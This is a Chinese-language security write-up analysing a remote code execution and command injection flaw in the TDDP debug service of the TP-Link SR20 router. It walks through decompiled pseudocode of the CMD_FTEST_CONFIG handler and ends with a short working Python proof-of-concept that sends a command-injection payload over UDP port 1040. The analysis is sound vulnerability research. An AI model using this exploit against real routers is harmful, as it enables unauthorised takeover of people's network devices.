环境搭建
漏洞的介绍与环境搭建可以看SeeBug对于此漏洞的复现文章
链接:重现 TP-Link SR20 本地网络远程代码执行漏洞
TDDP协议介绍介绍
TDDP是TP-Link用于调试的简单协议,这个协议使用一个数据包,在载荷中使用不同的消息类型来完成请求或者命令的传递。下面的图片是TDDP的数据包信息
官方介绍:
https://patentimages.storage.googleapis.com/d8/ad/08/b5ae76e905594d/CN102096654A.pdf
漏洞分析
使用IDA查看tddp程序,因为程序不是很大,可从头分析逻辑,搜索tddp启动时打印字符串tddp task start的位置,找到程序起始位置。
sub_16ACCh函数申请了一块内存空间,
memset(s->field_38, 0, 9u);
memset(s->buff1, 0, 0xAFC9u);
memset(s->recv_buff, 0, 0xAFC9u);
memset(s->field_41, 0, 17u);
memset(s, 0, 0x28u);
后续此空间用来保存socket信息和传递的数据。根据此信息创建一个结构体,来简化伪代码:
sub_16E5C函数用来创建socket
tddp_type_handle函数根据接收数据包,选择tddp v1 或tddp v2进行处理(tddp v2包含认证)。跟进该函数:
程序根据接收的第一个字节判断tddp版本信息,跟进tddp_version1_handle函数:
该函数根据接收数据第二个字节选择特定debug功能。
漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支,继续跟进:
int __fastcall CMD_FTEST_CONFIG(int *data)
{
void *L; // r0
uint32_t v2; // r0
char *v3; // r3
__int16 v4; // r2
char *v5; // r3
int v6; // r0
int v7; // r1
data_info *v10; // [sp+4h] [bp-E8h]
char name; // [sp+8h] [bp-E4h]
char s; // [sp+48h] [bp-A4h]
char filname; // [sp+88h] [bp-64h]
char *v14; // [sp+C8h] [bp-24h]
char *v15; // [sp+CCh] [bp-20h]
char *v16; // [sp+D0h] [bp-1Ch]
int v17; // [sp+D4h] [bp-18h]
char *ip_addr; // [sp+D8h] [bp-14h]
int v19; // [sp+DCh] [bp-10h]
unsigned int v20; // [sp+E0h] [bp-Ch]
char *v21; // [sp+E4h] [bp-8h]
v10 = data;
v20 = 1;
v19 = 4;
memset(&filname, 0, 0x40u);
memset(&s, 0, 0x40u);
L = memset(&name, 0, 0x40u);
ip_addr = 0;
v17 = luaL_newstate(L);
v21 = v10->recv_buff;
v16 = v10->buff1;
v15 = v10->recv_buff;
v14 = v10->buff1;
v10->buff1[1] = 0x31;
v2 = htonl(0);
v3 = v14;
v14[4] = v2;
v3[5] = BYTE1(v2);
v3[6] = BYTE2(v2);
v3[7] = HIBYTE(v2);
v14[2] = 2;
v4 = (v15[9] << 8) | v15[8];
v5 = v14;
v14[8] = v15[8];
v5[9] = HIBYTE(v4);
if ( *v15 == 1 )
{
v21 += 12; //数据偏移字节
v16 += 12;
}
else
{
v21 += 28;
v16 += 28;
}
if ( !v21 )
goto LABEL_20;
sscanf(v21, "%[^;];%s", &filname, &s);
if ( !filname || !s )
{
printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
v14[3] = 3;
return error(-10303, 94892);
}
ip_addr = inet_ntoa(v10->sin_addr);
exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);
sprintf(&name, "/tmp/%s", &filname);
while ( v19 > 0 )
{
sleep(1u);
if ( !access(&name, 0) ) // 判断lua文件是否下载成功
break;
--v19;
}
if ( !v19 )
{
printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
goto LABEL_20;
}
if ( v17 )
{
luaL_openlibs(v17);
if ( !luaL_loadfile(v17, &name) )
lua_pcall(v17, 0, -1, 0);
lua_getfield(v17, -10002, 0x172A0);
lua_pushstring(v17, &s);
lua_pushstring(v17, ip_addr);
lua_call(v17, 2, 1);
v6 = lua_tonumber(v17, -1);
v20 = sub_16EC4(v6, v7);
lua_settop(v17, -2);
}
lua_close(v17);
if ( v20 )
goto LABEL_20;
v14[3] = 0;
return 0;
}
该函数从接收数据的第12字节,获取要下载的文件名。
if ( *v15 == 1 )
{
v21 += 12; //数据偏移字节
v16 += 12;
}
...
sscanf(v21, "%[^;];%s", &filname, &s);
后拼接成命令:cd /tmp;tftp -gr %s %s ,实现了使用tftp去连接指定ip地址并下载相应的文件,并最终通过c代码调用该lua文件中的config_test函数,从而实现任意代码执行:
命令注入漏洞
根据分析,CMD_FTEST_CONFIG 函数也存在一个命令注入,如下:
sscanf(v21, "%[^;];%s", &filname, &s);
...
exec_cmd("cd /tmp;tftp -gr %s %s &", &filname, ip_addr);
其中filename为用户可控输入,可拼接造成命令注入。
POC:
from pwn import *
import sys
import socket
argument = "|| %s&&ping;123 " % sys.argv[2]
payload = p8(1)+p8(0x31)+10*p8(0)+argument
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_send.sendto(payload,(sys.argv[1],1040))